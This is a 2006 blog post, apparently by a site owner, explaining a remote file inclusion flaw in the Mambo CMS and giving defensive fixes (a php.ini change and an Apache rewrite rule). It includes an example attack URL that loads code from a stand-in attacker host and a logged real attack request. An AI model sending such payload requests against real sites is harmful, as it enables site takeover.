30 August 2006 - 23:01Mambo and PHP Security Issues
Unfortunately there have been several severe security issues with Mambo lately, at least from my perspective. Several weeks ago, my site was defaced, and a search into the problem led me to several HTTP queries that seemed to override the mosConfig_absolute_path PHP variable in the URL. This variable was set to a remote web site and page. Even after a fresh install to fix the problem and after applying all security patches, my site was still vulnerable to the same attack. I was furious and determined to find the cause and permanent solution. Read on for the fix.
Problem
I have since lost the actual URL referring to the vulnerable page, but the problem appears to be a reoccurring one, affecting many pages over the years. It appears as though almost every security problem involves a request in the form:
http://vuln.server.com/vuln_page.php?mosConfig_absolute_path=http://h4x0r.box.ws/attacker.code.txt¬_needed=
The actual affects appear that the attacker.code.txt file is executed from the remote box! This is unacceptable.
Description
The actual problem occurs when the moxConfig_absolute_path variable is used to include the local files. A quick search through the latest release of Mambo without any extra components reveals 335 occurrences of the variable, and almost all of them take the form of something such as:
require_once( $mosConfig_absolute_path . '/includes/database.php' );
This shows the actual attack. Assuming from our previous example that this code is found in the theoretical vuln_page.php, our require statement becomes
require_once( 'http://h4x0r.box.ws/attacker.code.txt¬_needed=/includes/database.php' );
Now originally I thought this should not be a problem, because of course PHP would never include a remote file and treat it as source. Apparently I was wrong. A quote from the include() reference page:
“If URL fopen wrappers are enabled in PHP (which they are in the default configuration), you can specify the file to be included using a URL (via HTTP or other supported wrapper - see Appendix M for a list of protocols)”
As in the text, not only is allow_url_fopen on by default, but it is on in the recommended php.ini file that comes with the PHP distribution. Although I can understand wanting the ability to include text or content from another site, I can not imagine why PHP would allow the remote code to be parsed. In theory, if you are fetching a PHP file from a remote site through HTTP, it will already be processed an stripped of code. A malicious attack is one of the only reasons I can see for adding this ridiculous ability.
This allows the attacker to execute any PHP script they wish.
And still the problem is compounded. None of this should be possible when the PHP register_globals is off. In theory, the variable should remain unititialized until it is used. Unfortunately this time it’s Mambo’s mistake. It appears as though there is a “Register Globals Emulation” option in the Global Configuration -> Server page. This will bypass the secure register_globals and allow the attack.
The way that Mambo pages are supposed to guard against this attack is to disallow direct access to their page, and in theory the security check for that PHP variable is performed internally. However, all it takes is one PHP file that does not include the code:
defined( '_VALID_MOS' ) or die( 'Direct Access to this location is not allowed.' );
and I believe the security hole is created. Having a code requirement such as this is difficult to check and requires developers know how the Mambo framework operates to write their code securely. Although it appears easy to remember it is just as easy to forget.
The combination of both of these moderate security holes can be combined to form a remote execution exploit. This is not acceptable and there are ways to protect yourself.
Solution
After several attacks, I have lost my faith in the ability of the Mambo developers to secure my system, so I have found ways to protect myself.
Disable Remote File Inclusion
The biggest security lockdown in my opinion is to disable remote file inclusion by PHP. I can not think of a good reason for your code to use this ability. It’s just wrong. To disable, simply set the line in your php.ini file:
allow_url_fopen = Off
Protected Against Future Exploits
Even though the remote file inclusion has been disabled, local files could in theory still be included incorrectly. For this, we can use Apache mod_rewrite. Simply disable all URL’s, cookies and all other incoming data that may contain the mosConfig_absolute_path variable. In your Apache httpd.conf file or in your sites virtual host section, add the following:
RewriteEngine on
# Security check
RewriteCond %{THE_REQUEST} ^.*mosConfig_absolute_path.*$ [OR]
RewriteCond %{HTTP_COOKIE} ^.*mosConfig_absolute_path.*$
RewriteRule ^.*$ / [R,F]
This will give a 403 to anyone attempting to attack your site. For example, When someone ridiculous attempts something such as (actual attack):
81.24.26.185 - - [26/Aug/2006:18:39:22 -0400] "GET /components/com_artlinks/artlinks.dispnew.php?mosConfig_absolute_path=http://www.geocities.com/gi8ani/exploit.txt? HTTP/1.1" 403 246 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)"
You will see they were hit with a 403 response.
Conclusion
As you can see, this is an example of exploiting several layers of security holes. Each one thought that their security was tight enough to use in production by default, and yet they apparently didn’t think about some of the consequences of the others software. By taking these simple steps it won’t totally relieve you from attacks, but it can certainly mitigate future exploits to some extent.
No Comments | Tags: Programming